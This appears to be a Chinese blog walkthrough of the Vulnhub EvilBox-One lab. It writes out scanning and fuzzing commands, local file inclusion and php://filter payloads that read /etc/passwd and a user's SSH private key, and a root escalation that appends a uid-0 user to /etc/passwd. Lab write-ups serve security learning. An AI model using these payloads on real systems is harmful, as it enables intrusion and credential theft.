Vulnhub EvilBox-One Walkthrough
前言
说起来这个靶场,可能是我见过的里面相对而言比较简单的一个了,简单的使用了一下 php伪协议
,然后使用 FUZZ
爆破一下参数什么的。基本上就出来了。
这个不是重点,重点是这个疫情为什么还不过去啊,现在已经到了一天诅咒这个疫情一次的程度了,抓狂中。。。不过又到了老规矩了,此时此刻吟诗一首。哈哈哈。
昨夜寒蛩不住鸣。
惊回千里梦,已三更。
起来独自绕阶行。
人悄悄,帘外月胧明。
白首为功名。
旧山松竹老,阻归程。
欲将心事付瑶琴。
知音少,弦断有谁听?
昨晚上看抖音看见一句话说的很好,挺有感触的,在此分享给大家。
茫茫世间,安有纯善无邪。安有极正无恶。罢了,生之为人,终难成圣啊。
文章的结构大致上是这个样子的:
- 获取目标主机的
IP
- 扫描端口信息
- 枚举
HTTP
- 提权
废话不多说,直接开干
Let’s Go!!!
信息收集
IP
信息
实话实说,nmap
那个东西确实是牛逼,但是就是太慢了,所以我们这个是单纯的收集 IP
信息嘛,所以使用 netdiscover
扫描当前的网段。
netdiscover 10.0.2.0/24
经过排除,发现这个目标主机的地址是最后一个。
端口信息
那么还是老样子,继续进行端口扫描,至于为什么,我就不过多的解释了。
nmap -A 10.0.2.4 -p-
既然是这个样子,那我就放心了,只开放了简单的两个端口,那就直接去浏览器访问一下看看什么样子。
枚举 HTTP
敏感目录
dirb && nikto
上面已经看了网页,也已经看了源代码了,但是并没有发现什么有价值的信息,所有我就直接上工具扫描了,首先使用 dirb
,但是友情的提醒,不要抱有太大的期待,经过做了这么多的靶场的心得体会。那就是不要奢望只是简单的使用一个工具就可以达成一个好的结果,更换字典、更换工具,那就是家常便饭了。
dirb http://10.0.2.4 和 nikto -h http://10.0.2.4/
dirb | nikto |
---|---|
robots.txt | secret |
---|---|
然而上面也并没有什么好的信息利用,这个时候经验的重要性就来了,按照经验来说这个一定是要扫描子目录的,而且一定要是大字典,但是不妨先用默认的工具扫一下,说不定那就有。
nikto http://10.0.2.4/secret
gobuster dir -u http://10.0.2.4/secret/ -w /usr/share/wordlists/dirb/big.txt -x .php .txt .bak
gobuster
到最后还是你牛逼啊。既然已经有一些进展了,就访问一下这个文件试一下。
php
伪协议与 LFI
可以看出这个文件里面也是什么都没有,那么问题来了,接下来怎么办?按照之前的靶场来说,这个地方一般都是命令执行或者是文件包含啊。但是参数是什么啊?既然不知道,那就来爆破一下好了。请上神器 ffuf
。
ffuf -c -r -u ‘http://10.0.2.4/secret/evil.php?FUZZ=/etc/passwd‘ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -fs 0
尝试包含了一下 http://10.0.2.4/secret/evil.php?command=/var/log/auth.log
然后发现是不行的,做到这里那就说明有一些敏感的文件是不能包含的。那么这个时候突然想起来之前做个一个靶场是使用 ssh 私钥
登陆的,那么尝试包含一下试试。http://10.0.2.4/secret/evil.php?command=/home/mowree/.ssh/id_rsa
结果是可以的,那就好起来了啊。
对了到这还没看一下这个 evil.php
里面是啥呢。使用PHP伪协议转成base64编码,将文件内容读出来。
http://10.0.2.4/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=evil.php
回到正题,现在将那个一大串的ssh的秘钥文件复制成一个文件。使用 ssh2john
解密一下。
提权
登陆ssh
ssh mowree@10.0.2.4 -i rsa.txt
flag-1
好吧,其实这个没什么用,它是一个普通用户的flag有什么用,咱们要的是 root
的啊。而且简单查看了一下这个普通用户确实是什么权限都没有 sudo
什么的简直是做梦;这个时候我们的 niubi.sh
就要派上用场了,就是绿色框框那个。
那么既然这个文件我们是可以写入的,那这个靶场基本上就是拿下了,写一个 uid
为 0 的用户进去,那我们就是 root
了。
openssl passwd -1 123
echo 'fancy:$1$GzuoPPyT$VcrtnMfy8uuezxAZoWAnl1:0:0:root:/root:/bin/bash' >> /etc/passwd
flag-2
如上图所示。